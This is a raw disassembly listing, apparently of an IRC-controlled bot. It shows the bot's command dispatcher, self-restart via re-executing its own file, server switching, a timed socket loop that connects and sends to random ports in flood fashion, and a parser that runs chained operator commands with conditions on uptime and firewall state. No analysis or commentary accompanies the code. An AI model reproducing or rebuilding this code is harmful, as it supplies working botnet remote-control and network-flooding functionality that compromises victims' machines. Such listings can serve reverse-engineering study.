; ---------------------------------------------------------------------------
loc_408527: ; CODE XREF: sub_407A76+A86j
cmp edi, dword_414AA4
jnz short loc_408556
mov esi, [esi+4]
xor ebx, ebx
cmp esi, ebx
jz loc_408D69
mov eax, [ebp+arg_18]
mov eax, [eax+8]
cmp eax, ebx
jz loc_408D69
push eax
push esi
call sub_409659
jmp loc_408D2E
; ---------------------------------------------------------------------------
loc_408556: ; CODE XREF: sub_407A76+AB7j
cmp edi, dword_414A98
jnz short loc_408585
mov esi, [esi+4]
xor ebx, ebx
cmp esi, ebx
jz loc_408D69
mov eax, [ebp+arg_18]
mov eax, [eax+8]
cmp eax, ebx
jz loc_408D69
push eax
push esi
call sub_4095E7
jmp loc_408D2E
; ---------------------------------------------------------------------------
loc_408585: ; CODE XREF: sub_407A76+AE6j
cmp edi, dword_414A90
jnz short loc_4085A1
mov eax, [ebp+arg_18]
mov eax, [eax+4]
test eax, eax
jz loc_408D69
push eax
jmp loc_408D36
; ---------------------------------------------------------------------------
loc_4085A1: ; CODE XREF: sub_407A76+B15j
cmp edi, dword_414A84
jnz short loc_4085EB
mov esi, [esi+4]
xor ebx, ebx
cmp esi, ebx
jnz short loc_4085CF
cmp dword_4191D8, ebx
mov eax, offset aOn ; "on"
jnz short loc_4085C4
mov eax, offset aOff ; "off"
loc_4085C4: ; CODE XREF: sub_407A76+B47j
push eax
push offset aDebugModeIsS_ ; "Debug mode is %s."
jmp loc_40835E
; ---------------------------------------------------------------------------
loc_4085CF: ; CODE XREF: sub_407A76+B3Aj
push offset aOn ; "on"
push esi
call sub_411924 ; _strcmpi
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov dword_4191D8, eax
jmp loc_408D69
; ---------------------------------------------------------------------------
loc_4085EB: ; CODE XREF: sub_407A76+B31j
cmp edi, dword_414A58
jnz short loc_408604
lea eax, [ebp+var_208]
push eax
call sub_410B3B
jmp loc_408D68
; ---------------------------------------------------------------------------
loc_408604: ; CODE XREF: sub_407A76+B7Bj
cmp edi, dword_414A4C
jnz short loc_408626
cmp dword ptr [esi+4], 0
jz loc_408D69
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
push offset dword_414A44
jmp loc_407B1B
; ---------------------------------------------------------------------------
loc_408626: ; CODE XREF: sub_407A76+B94j
cmp edi, dword_414A38
jz loc_408D31
cmp edi, dword_414A2C
jz loc_408D31
cmp edi, dword_414A24
jz loc_408D31
cmp edi, dword_414A18
jnz short loc_40869F
lea eax, [ebp+var_364]
push 104h
xor ebx, ebx
push eax
push ebx
call dword_412094 ; GetModuleHandleA
push eax
call dword_412098 ; GetModuleFileNameA
push ebx
push ebx
lea eax, [ebp+var_364]
push ebx
push eax
push offset aOpen ; "open"
push ebx
call dword_4121E4
cmp eax, 20h
jbe loc_408D69
push offset aQuitRestarting ; "QUIT :restarting"
call sub_4097DB
pop ecx
push ebx
call dword_412064 ; ExitProcess
loc_40869F: ; CODE XREF: sub_407A76+BDAj
cmp edi, dword_414A0C
jnz short loc_4086CD
mov esi, [esi+4]
test esi, esi
jz loc_408D69
movzx eax, byte ptr [esi]
push eax
push eax
push offset dword_4149DC
loc_4086BC: ; CODE XREF: sub_407A76+E32j
lea eax, [ebp+var_208]
push eax
call sub_4096CB
jmp loc_408A9C
; ---------------------------------------------------------------------------
loc_4086CD: ; CODE XREF: sub_407A76+C2Fj
cmp edi, dword_4149CC
jnz short loc_4086DF
call sub_4052DF
jmp loc_408D69
; ---------------------------------------------------------------------------
loc_4086DF: ; CODE XREF: sub_407A76+C5Dj
cmp edi, dword_4149C4
jz loc_408D1C
cmp edi, dword_4149B8
jz loc_408D1C
cmp edi, dword_4149B0
jnz short loc_408716
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
lea eax, [ebp+var_208]
push eax
call sub_409149
jmp loc_408D2E
; ---------------------------------------------------------------------------
loc_408716: ; CODE XREF: sub_407A76+C87j
cmp edi, dword_4149A4
jz loc_408CFF
cmp edi, dword_414994
jz loc_408CFF
cmp edi, dword_41498C
jnz loc_40883A
xor ebx, ebx
cmp [esi+4], ebx
jnz short loc_408748
mov dword ptr [esi+4], offset byte_4191D0
loc_408748: ; CODE XREF: sub_407A76+CC9j
lea eax, [ebp+arg_14]
push eax
push ebx
push ebx
push dword ptr [esi+4]
call dword_419224
test eax, eax
jnz loc_4088B3
mov eax, [ebp+arg_14]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_40882C
mov edi, 3E8h
loc_408772: ; CODE XREF: sub_407A76+DB0j
push 2
push ebx
push ebx
lea eax, [ebp+var_9E4]
push 401h
push eax
mov eax, [ebp+arg_18]
push dword ptr [eax+10h]
push dword ptr [eax+18h]
call dword_419228
test eax, eax
jnz loc_40881B
mov eax, [ebp+arg_18]
mov ecx, [eax+4]
cmp ecx, 2
jnz short loc_4087CE
mov eax, [esi+4]
cmp [eax], bl
jnz short loc_4087B0
mov eax, offset dword_414988
loc_4087B0: ; CODE XREF: sub_407A76+D33j
lea ecx, [ebp+var_9E4]
push ecx
push eax
push offset dword_414964
loc_4087BD: ; CODE XREF: sub_407A76+D76j
lea eax, [ebp+var_208]
push eax
call sub_4096CB
add esp, 10h
jmp short loc_408814
; ---------------------------------------------------------------------------
loc_4087CE: ; CODE XREF: sub_407A76+D2Cj
mov eax, [esi+4]
cmp ecx, 17h
jnz short loc_4087EE
cmp [eax], bl
jnz short loc_4087DF
mov eax, offset dword_414988
loc_4087DF: ; CODE XREF: sub_407A76+D62j
lea ecx, [ebp+var_9E4]
push ecx
push eax
push offset dword_414940
jmp short loc_4087BD
; ---------------------------------------------------------------------------
loc_4087EE: ; CODE XREF: sub_407A76+D5Ej
cmp [eax], bl
jnz short loc_4087F7
mov eax, offset dword_414988
loc_4087F7: ; CODE XREF: sub_407A76+D7Aj
lea edx, [ebp+var_9E4]
push edx
push ecx
push eax
lea eax, [ebp+var_208]
push offset dword_41490C
push eax
call sub_4096CB
add esp, 14h
loc_408814: ; CODE XREF: sub_407A76+D56j
push edi
call dword_4120A4 ; Sleep
loc_40881B: ; CODE XREF: sub_407A76+D1Dj
mov eax, [ebp+arg_18]
mov eax, [eax+1Ch]
cmp eax, ebx
mov [ebp+arg_18], eax
jnz loc_408772
loc_40882C: ; CODE XREF: sub_407A76+CF1j
push [ebp+arg_14]
call dword_41922C
jmp loc_408D69
; ---------------------------------------------------------------------------
loc_40883A: ; CODE XREF: sub_407A76+CBEj
cmp edi, dword_414900
jnz short loc_4088C0
xor ebx, ebx
cmp [esi+4], ebx
jnz short loc_408850
mov dword ptr [esi+4], offset byte_4191D0
loc_408850: ; CODE XREF: sub_407A76+DD1j
lea eax, [ebp+arg_18]
push eax
push ebx
push ebx
push dword ptr [esi+4]
call dword_419224
test eax, eax
jnz short loc_4088B3
push 4
push ebx
push ebx
lea eax, [ebp+var_9E4]
push 401h
push eax
mov eax, [ebp+arg_18]
push dword ptr [eax+10h]
push dword ptr [eax+18h]
call dword_419228
push [ebp+arg_18]
test eax, eax
jnz short loc_4088AD
call dword_41922C
mov esi, [esi+4]
cmp [esi], bl
jnz short loc_40889B
mov esi, offset dword_414988
loc_40889B: ; CODE XREF: sub_407A76+E1Ej
lea eax, [ebp+var_9E4]
push eax
push esi
push offset dword_4148E4
jmp loc_4086BC
; ---------------------------------------------------------------------------
loc_4088AD: ; CODE XREF: sub_407A76+E11j
call dword_41922C
loc_4088B3: ; CODE XREF: sub_407A76+CE3j
; sub_407A76+DEBj
push dword ptr [esi+4]
push offset dword_4148C8
jmp loc_40835E
; ---------------------------------------------------------------------------
loc_4088C0: ; CODE XREF: sub_407A76+DCAj
cmp edi, dword_4148B8
jnz loc_4089A3
mov eax, [esi+4]
xor ebx, ebx
cmp eax, ebx
jz loc_408D69
push eax
call sub_4114BE ; strlen
cmp eax, 0Ah
pop ecx
jbe loc_408D69
push dword ptr [esi+4]
call sub_4114BE ; strlen
push 4
push offset a2002 ; "2002"
push dword ptr [esi+4]
mov edi, eax
call sub_41178A ; memcmp
add esp, 10h
test eax, eax
jnz loc_408996
mov eax, [esi+4]
add eax, edi
mov cl, [eax-9]
mov byte ptr [ebp+var_10], cl
mov cl, [eax-8]
mov byte ptr [ebp+var_10+1], cl
mov byte ptr [ebp+var_10+2], bl
mov cl, [eax-7]
mov byte ptr [ebp+var_10+3], cl
mov cl, [eax-6]
mov [ebp+var_C], cl
mov [ebp+var_B], bl
mov cl, [eax-4]
mov [ebp+var_A], cl
mov cl, [eax-3]
mov [ebp+var_9], cl
mov byte ptr [ebp+var_8], bl
mov cl, [eax-2]
mov byte ptr [ebp+var_8+1], cl
mov al, [eax-1]
mov byte ptr [ebp+var_8+2], al
lea eax, [ebp+var_8+1]
push eax
mov byte ptr [ebp+var_8+3], bl
call sub_4079AC
pop ecx
push eax
lea eax, [ebp+var_A]
push eax
call sub_4079AC
pop ecx
push eax
lea eax, [ebp+var_10+3]
push eax
call sub_4079AC
pop ecx
push eax
lea eax, [ebp+var_10]
push eax
call sub_4079AC
pop ecx
push eax
lea eax, [ebp+var_208]
push dword ptr [esi+4]
push offset dword_414880
push eax
call sub_4096CB
loc_40898E: ; CODE XREF: sub_407A76+55Fj
add esp, 1Ch
jmp loc_408D69
; ---------------------------------------------------------------------------
loc_408996: ; CODE XREF: sub_407A76+E91j
push dword ptr [esi+4]
push offset dword_414864
jmp loc_40835E
; ---------------------------------------------------------------------------
loc_4089A3: ; CODE XREF: sub_407A76+E50j
cmp edi, dword_414858
jnz loc_408A67
call sub_4114E2 ; clock
mov [ebp+arg_0], eax
xor ebx, ebx
push 10h
lea eax, [ebp+var_14]
push ebx
push eax
mov [ebp+arg_14], ebx
mov byte ptr [ebp+arg_18+3], bl
call sub_4114E8 ; memset
add esp, 0Ch
mov [ebp+var_14], 2
call sub_4114E2 ; clock
sub eax, [ebp+arg_0]
mov edi, 3E8h
cmp eax, edi
jnb short loc_408A54
loc_4089E5: ; CODE XREF: sub_407A76+FD2j
push 0FFFFh
push 1
call sub_40B459
pop ecx
pop ecx
push eax
call dword_412248 ; htons
push 4
push ebx
mov [ebp+var_12], ax
call sub_4031A7
pop ecx
mov [ebp+var_10], eax
pop ecx
push ebx
push 2
push 2
call dword_41222C ; socket
mov esi, eax
lea eax, [ebp+var_14]
push 10h
push eax
push esi
call dword_412208 ; connect
push ebx
lea eax, [ebp+arg_18+3]
push 1
push eax
push esi
call dword_412220 ; send
push esi
call dword_412240 ; closesocket
add [ebp+arg_14], 2Bh
call sub_4114E2 ; clock
sub eax, [ebp+arg_0]
cmp eax, edi
jb short loc_4089E5
mov eax, [ebp+arg_14]
cmp eax, 400h
ja short loc_408A59
loc_408A54: ; CODE XREF: sub_407A76+F6Dj
mov eax, 400h
loc_408A59: ; CODE XREF: sub_407A76+FDCj
shr eax, 0Ah
push eax
push offset dword_414840
jmp loc_40835E
; ---------------------------------------------------------------------------
loc_408A67: ; CODE XREF: sub_407A76+F33j
cmp edi, dword_414838
jz loc_408CDD
cmp edi, dword_41482C
jz loc_408CDD
cmp edi, dword_414820
jnz short loc_408AA4
push dword ptr [esi+0Ch]
lea eax, [ebp+var_208]
push dword ptr [esi+8]
push dword ptr [esi+4]
push eax
call sub_40F908
loc_408A9C: ; CODE XREF: sub_407A76+626j
; sub_407A76+67Bj ...
add esp, 10h
jmp loc_408D69
; ---------------------------------------------------------------------------
loc_408AA4: ; CODE XREF: sub_407A76+100Fj
cmp edi, dword_414818
jz loc_408CCC
cmp edi, dword_41480C
jz loc_408CCC
cmp edi, dword_414804
jz loc_408CBB
cmp edi, dword_4147F8
jz loc_408CBB
cmp edi, dword_4147E8
jnz short loc_408B13
push eax
push offset a9252 ; "9252"
call sub_403644
pop ecx
mov esi, eax
pop ecx
lea eax, [ebp+var_208]
push esi
push offset dword_413B64
push eax
call sub_4096CB
add esp, 0Ch
test esi, esi
jz loc_408D69
push esi
call sub_40392A
jmp loc_408D68
; ---------------------------------------------------------------------------
loc_408B13: ; CODE XREF: sub_407A76+1064j
cmp edi, dword_4147D4
jnz short loc_408B2C
lea eax, [ebp+var_208]
push eax
call sub_406A08
jmp loc_408D68
; ---------------------------------------------------------------------------
loc_408B2C: ; CODE XREF: sub_407A76+10A3j
cmp edi, dword_4147CC
jz short loc_408BA5
cmp edi, dword_4147C0
jz short loc_408BA5
cmp edi, dword_4147B8
jnz loc_408D69
mov eax, [esi+4]
xor ebx, ebx
cmp eax, ebx
jz loc_408D69
cmp [esi+8], ebx
jz loc_408D69
push 2
push offset aId ; "id"
push eax
call sub_411930 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_408B81
push dword ptr [esi+8]
push offset byte_41A268
call sub_4114B8 ; _mbscpy
pop ecx
pop ecx
loc_408B81: ; CODE XREF: sub_407A76+10FAj
push offset aUsername ; "username"
push dword ptr [esi+4]
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz loc_408D69
push dword ptr [esi+8]
push offset byte_41A3E8
jmp loc_408208
; ---------------------------------------------------------------------------
loc_408BA5: ; CODE XREF: sub_407A76+10BCj
; sub_407A76+10C4j
mov esi, [esi+4]
xor ebx, ebx
cmp esi, ebx
jz short loc_408BBA
push esi
call sub_41151C ; atoi
pop ecx
mov [ebp+arg_14], eax
jmp short loc_408BBD
; ---------------------------------------------------------------------------
loc_408BBA: ; CODE XREF: sub_407A76+1136j
mov [ebp+arg_14], ebx
loc_408BBD: ; CODE XREF: sub_407A76+1142j
call sub_406AB7
mov edi, 15180h
xor edx, edx
mov esi, edi
mov ecx, eax
div esi
xor edx, edx
mov esi, 0E10h
mov ebx, esi
push 3Ch
mov [ebp+arg_18], eax
mov eax, ecx
mov ecx, edi
div ecx
mov ecx, edx
xor edx, edx
mov eax, ecx
div ebx
xor edx, edx
mov [ebp+var_8], eax
mov eax, ecx
mov ecx, esi
div ecx
pop ecx
mov eax, edx
xor edx, edx
div ecx
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
cmp [ebp+arg_18], eax
jb loc_408D69
call sub_406B29
xor edx, edx
mov ebx, edi
mov ecx, eax
push 3Ch
div ebx
xor edx, edx
mov [ebp+arg_10], eax
mov eax, ecx
div edi
mov edi, esi
mov ecx, edx
xor edx, edx
mov eax, ecx
div edi
xor edx, edx
mov [ebp+arg_8], eax
mov eax, ecx
div esi
pop ecx
push 1
mov eax, edx
xor edx, edx
div ecx
mov edx, offset byte_4191D0
mov ecx, offset dword_4141FC
mov [ebp+arg_14], edx
mov ebx, eax
pop eax
cmp ebx, eax
jz short loc_408C57
mov [ebp+arg_14], ecx
loc_408C57: ; CODE XREF: sub_407A76+11DCj
cmp [ebp+arg_8], eax
mov [ebp+arg_0], edx
jz short loc_408C62
mov [ebp+arg_0], ecx
loc_408C62: ; CODE XREF: sub_407A76+11E7j
cmp [ebp+arg_10], eax
mov [ebp+arg_C], edx
jz short loc_408C6D
mov [ebp+arg_C], ecx
loc_408C6D: ; CODE XREF: sub_407A76+11F2j
cmp [ebp+var_1C], eax
mov edi, edx
jz short loc_408C76
mov edi, ecx
loc_408C76: ; CODE XREF: sub_407A76+11FCj
cmp [ebp+var_8], eax
mov esi, edx
jz short loc_408C7F
mov esi, ecx
loc_408C7F: ; CODE XREF: sub_407A76+1205j
cmp [ebp+arg_18], eax
jnz short loc_408C86
mov ecx, edx
loc_408C86: ; CODE XREF: sub_407A76+120Cj
push [ebp+arg_14]
lea eax, [ebp+var_208]
push ebx
push [ebp+arg_0]
push [ebp+arg_8]
push [ebp+arg_C]
push [ebp+arg_10]
push edi
push [ebp+var_1C]
push esi
push [ebp+var_8]
push ecx
push [ebp+arg_18]
push offset dword_414734
push eax
call sub_4096CB
add esp, 38h
jmp loc_408D69
; ---------------------------------------------------------------------------
loc_408CBB: ; CODE XREF: sub_407A76+104Cj
; sub_407A76+1058j
lea eax, [ebp+var_208]
push eax
call sub_40677A
jmp loc_408D68
; ---------------------------------------------------------------------------
loc_408CCC: ; CODE XREF: sub_407A76+1034j
; sub_407A76+1040j
lea eax, [ebp+var_208]
push eax
call sub_4062CF
jmp loc_408D68
; ---------------------------------------------------------------------------
loc_408CDD: ; CODE XREF: sub_407A76+FF7j
; sub_407A76+1003j
push offset dword_418FD0
push 3AEh
push 0
lea eax, [ebp+var_208]
push offset dword_414710
push eax
call sub_4096CB
loc_408CFA: ; CODE XREF: sub_407A76+9A8j
add esp, 14h
jmp short loc_408D69
; ---------------------------------------------------------------------------
loc_408CFF: ; CODE XREF: sub_407A76+CA6j
; sub_407A76+CB2j
push offset aQuitChangingSe ; "QUIT :changing server"
call sub_4097DB
push dword ptr [esi+0Ch]
push dword ptr [esi+8]
push dword ptr [esi+4]
call sub_409522
jmp loc_408A9C
; ---------------------------------------------------------------------------
loc_408D1C: ; CODE XREF: sub_407A76+C6Fj
; sub_407A76+C7Bj
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
lea eax, [ebp+var_208]
push eax
call sub_4018D5
loc_408D2E: ; CODE XREF: sub_407A76+AAj
; sub_407A76+29Dj ...
pop ecx
jmp short loc_408D68
; ---------------------------------------------------------------------------
loc_408D31: ; CODE XREF: sub_407A76+BB6j
; sub_407A76+BC2j ...
push offset aQuitExitting ; "QUIT :exitting"
loc_408D36: ; CODE XREF: sub_407A76+B26j
call sub_4097DB
jmp short loc_408D68
; ---------------------------------------------------------------------------
loc_408D3D: ; CODE XREF: sub_407A76+719j
; sub_407A76+725j ...
push dword ptr [esi+14h]
lea eax, [ebp+var_208]
push dword ptr [esi+10h]
push dword ptr [esi+0Ch]
push dword ptr [esi+8]
push dword ptr [esi+4]
push eax
call sub_40F2C2
jmp loc_408235
; ---------------------------------------------------------------------------
loc_408D5D: ; CODE XREF: sub_407A76+5B6j
; sub_407A76+5C2j
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
call sub_409843
loc_408D68: ; CODE XREF: sub_407A76+71j
; sub_407A76+2B6j ...
pop ecx
loc_408D69: ; CODE XREF: sub_407A76+DEj
; sub_407A76+12Aj ...
pop edi
pop esi
pop ebx
leave
retn
sub_407A76 endp
; =============== S U B R O U T I N E =======================================
sub_408D6E proc near ; CODE XREF: sub_408E1A+320p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
loc_408D72: ; CODE XREF: sub_408D6E+10j
mov cl, [eax]
cmp cl, 20h
jnz short locret_408D80
test cl, cl
jz short locret_408D80
inc eax
jmp short loc_408D72
; ---------------------------------------------------------------------------
locret_408D80: ; CODE XREF: sub_408D6E+9j
; sub_408D6E+Dj
retn
sub_408D6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408D81 proc near ; DATA XREF: sub_409149+4Eo
var_52C = byte ptr -52Ch
var_32C = dword ptr -32Ch
var_328 = byte ptr -328h
var_187 = byte ptr -187h
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 52Ch
push esi
push 327h
push [ebp+arg_0]
lea eax, [ebp+var_32C]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
lea eax, [ebp+var_4]
mov esi, offset asc_414F50 ; ";"
push eax
lea eax, [ebp+var_328]
push esi
push eax
call sub_405E4F
add esp, 1Ch
loc_408DC0: ; CODE XREF: sub_408D81+84j
test eax, eax
jz short loc_408E07
loc_408DC4: ; CODE XREF: sub_408D81+49j
cmp byte ptr [eax], 20h
jnz short loc_408DCC
inc eax
jmp short loc_408DC4
; ---------------------------------------------------------------------------
loc_408DCC: ; CODE XREF: sub_408D81+46j
push eax
lea eax, [ebp+var_187]
push eax
push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
lea eax, [ebp+var_52C]
push 200h
push eax
call sub_41152E ; _snprintf
lea eax, [ebp+var_52C]
push eax
call sub_40A236
lea eax, [ebp+var_4]
push eax
push esi
push 0
call sub_405E4F
add esp, 24h
jmp short loc_408DC0
; ---------------------------------------------------------------------------
loc_408E07: ; CODE XREF: sub_408D81+41j
push [ebp+var_32C]
call sub_406E6F
pop ecx
xor eax, eax
pop esi
leave
retn 4
sub_408D81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408E1A proc near ; CODE XREF: sub_409149+6p
var_1D4 = byte ptr -1D4h
var_54 = byte ptr -54h
var_34 = byte ptr -34h
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1D4h
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
test esi, esi
jz loc_409142
cmp byte ptr [esi], 28h
jnz loc_409142
inc esi
push offset asc_414FB8 ; ")"
push esi
call sub_411528 ; strstr
pop ecx
mov [ebp+var_4], eax
test eax, eax
pop ecx
jz loc_409142
sub eax, esi
lea ecx, [eax+1]
mov eax, 180h
cmp ecx, eax
ja short loc_408E63
mov eax, ecx
loc_408E63: ; CODE XREF: sub_408E1A+45j
push eax
lea eax, [ebp+var_1D4]
push esi
push eax
call sub_4059C2
push 1
lea eax, [ebp+var_1D4]
push 1
push eax
call sub_405AD6
lea eax, [ebp+arg_0]
mov ebx, offset asc_414FB4 ; "&&"
push eax
lea eax, [ebp+var_1D4]
push ebx
push eax
call sub_405E4F
add esp, 24h
loc_408E9A: ; CODE XREF: sub_408E1A+316j
test eax, eax
jz loc_409135
loc_408EA2: ; CODE XREF: sub_408E1A+8Ej
cmp byte ptr [eax], 20h
jnz short loc_408EAA
inc eax
jmp short loc_408EA2
; ---------------------------------------------------------------------------
loc_408EAA: ; CODE XREF: sub_408E1A+8Bj
lea ecx, [ebp+var_54]
push ecx
lea ecx, [ebp+var_14]
push ecx
lea ecx, [ebp+var_34]
push ecx
push offset a32s16s32s ; "%32s %16s %32s"
push eax
call sub_411522 ; sscanf
add esp, 14h
cmp eax, 3
jnz loc_409142
lea eax, [ebp+var_34]
push eax
call sub_41151C ; atoi
mov edi, eax
lea eax, [ebp+var_54]
push eax
call sub_41151C ; atoi
pop ecx
mov esi, eax
test edi, edi
pop ecx
jnz loc_408FB7
lea eax, [ebp+var_34]
push offset dword_413F58
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jz loc_408FB7
lea eax, [ebp+var_34]
push offset aUptime ; "$uptime"
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_408F2C
call sub_406AB7
xor edx, edx
mov ecx, 15180h
div ecx
jmp loc_408FB5
; ---------------------------------------------------------------------------
loc_408F2C: ; CODE XREF: sub_408E1A+FDj
lea eax, [ebp+var_34]
push offset aVersion ; "$version"
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_408F47
mov edi, 3AEh
jmp short loc_408FB7
; ---------------------------------------------------------------------------
loc_408F47: ; CODE XREF: sub_408E1A+124j
lea eax, [ebp+var_34]
push offset aFree_0 ; "$free"
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_408F62
call sub_4067B2
jmp short loc_408FB5
; ---------------------------------------------------------------------------
loc_408F62: ; CODE XREF: sub_408E1A+13Fj
lea eax, [ebp+var_34]
push offset aLatency ; "$latency"
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_408F7D
call sub_406373
jmp short loc_408FB5
; ---------------------------------------------------------------------------
loc_408F7D: ; CODE XREF: sub_408E1A+15Aj
lea eax, [ebp+var_34]
push offset aFirewall ; "$firewall"
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_408F98
call sub_4032D2
jmp short loc_408FB5
; ---------------------------------------------------------------------------
loc_408F98: ; CODE XREF: sub_408E1A+175j
lea eax, [ebp+var_34]
push offset aIpv6 ; "$ipv6"
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz loc_409142
call sub_4033F9
loc_408FB5: ; CODE XREF: sub_408E1A+10Dj
; sub_408E1A+146j ...
mov edi, eax
loc_408FB7: ; CODE XREF: sub_408E1A+CDj
; sub_408E1A+E5j ...
test esi, esi
jnz loc_409089
lea eax, [ebp+var_54]
push offset dword_413F58
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jz loc_409089
lea eax, [ebp+var_54]
push offset aUptime ; "$uptime"
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_408FFE
call sub_406AB7
xor edx, edx
mov ecx, 15180h
div ecx
jmp loc_409087
; ---------------------------------------------------------------------------
loc_408FFE: ; CODE XREF: sub_408E1A+1CFj
lea eax, [ebp+var_54]
push offset aVersion ; "$version"
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_409019
mov esi, 3AEh
jmp short loc_409089
; ---------------------------------------------------------------------------
loc_409019: ; CODE XREF: sub_408E1A+1F6j
lea eax, [ebp+var_54]
push offset aFree_0 ; "$free"
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_409034
call sub_4067B2
jmp short loc_409087
; ---------------------------------------------------------------------------
loc_409034: ; CODE XREF: sub_408E1A+211j
lea eax, [ebp+var_54]
push offset aLatency ; "$latency"
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_40904F
call sub_406373
jmp short loc_409087
; ---------------------------------------------------------------------------
loc_40904F: ; CODE XREF: sub_408E1A+22Cj
lea eax, [ebp+var_54]
push offset aFirewall ; "$firewall"
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_40906A
call sub_4032D2
jmp short loc_409087
; ---------------------------------------------------------------------------
loc_40906A: ; CODE XREF: sub_408E1A+247j
lea eax, [ebp+var_54]
push offset aIpv6 ; "$ipv6"
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz loc_409142
call sub_4033F9
loc_409087: ; CODE XREF: sub_408E1A+1DFj
; sub_408E1A+218j ...
mov esi, eax
loc_409089: ; CODE XREF: sub_408E1A+19Fj
; sub_408E1A+1B7j ...
lea eax, [ebp+var_14]
push offset asc_414F64 ; "=="
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_4090A5
cmp edi, esi
jnz loc_409142
loc_4090A5: ; CODE XREF: sub_408E1A+281j
lea eax, [ebp+var_14]
push offset asc_414F60 ; "!="
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_4090C1
cmp edi, esi
jz loc_409142
loc_4090C1: ; CODE XREF: sub_408E1A+29Dj
lea eax, [ebp+var_14]
push offset asc_414F5C ; ">"
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_4090D9
cmp edi, esi
jbe short loc_409142
loc_4090D9: ; CODE XREF: sub_408E1A+2B9j
lea eax, [ebp+var_14]
push offset asc_414F58 ; ">="
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_4090F1
cmp edi, esi
jb short loc_409142
loc_4090F1: ; CODE XREF: sub_408E1A+2D1j
lea eax, [ebp+var_14]
push offset dword_414988
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_409109
cmp edi, esi
jnb short loc_409142
loc_409109: ; CODE XREF: sub_408E1A+2E9j
lea eax, [ebp+var_14]
push offset asc_414F54 ; "<="
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_409121
cmp edi, esi
ja short loc_409142
loc_409121: ; CODE XREF: sub_408E1A+301j
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
call sub_405E4F
add esp, 0Ch
jmp loc_408E9A
; ---------------------------------------------------------------------------
loc_409135: ; CODE XREF: sub_408E1A+82j
mov eax, [ebp+var_4]
inc eax
push eax
call sub_408D6E
pop ecx
jmp short loc_409144
; ---------------------------------------------------------------------------
loc_409142: ; CODE XREF: sub_408E1A+11j
; sub_408E1A+1Aj ...
xor eax, eax
loc_409144: ; CODE XREF: sub_408E1A+326j
pop edi
pop esi
pop ebx
leave
retn
sub_408E1A endp
; =============== S U B R O U T I N E =======================================
sub_409149 proc near ; CODE XREF: sub_407A76+C96p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push [esp+8+arg_4]
call sub_408E1A
mov edi, eax
pop ecx
test edi, edi
jz short loc_4091A4
push 327h
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_4091A4
push 180h
lea eax, [esi+4]
push edi
push eax
call sub_4059C2
push [esp+14h+arg_0]
lea eax, [esi+184h]
push eax
call sub_40457C
add esp, 14h
push edi
push offset aExecutingComma ; "Executing command(s): %s"
push 0
push esi
push offset sub_408D81
call sub_406D58
add esp, 14h
loc_4091A4: ; CODE XREF: sub_409149+10j
; sub_409149+21j
pop edi
pop esi
retn
sub_409149 endp
; =============== S U B R O U T I N E =======================================
sub_4091A7 proc near ; CODE XREF: sub_401B81+77p
; sub_409918+461p ...
mov eax, dword_419D44
retn
sub_4091A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4091AD proc near ; CODE XREF: sub_409522+10p
; sub_409522+6Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_0], ebx
push esi
push edi
mov edi, offset byte_419AB8
jz short loc_4091FC
push [ebp+arg_0]
push offset dword_419C38
call sub_4114B8 ; _mbscpy
cmp [ebp+arg_4], ebx
pop ecx
pop ecx
jz short loc_4091D8
push [ebp+arg_4]
jmp short loc_4091DD
; ---------------------------------------------------------------------------
loc_4091D8: ; CODE XREF: sub_4091AD+24j
push offset a6667 ; "6667"
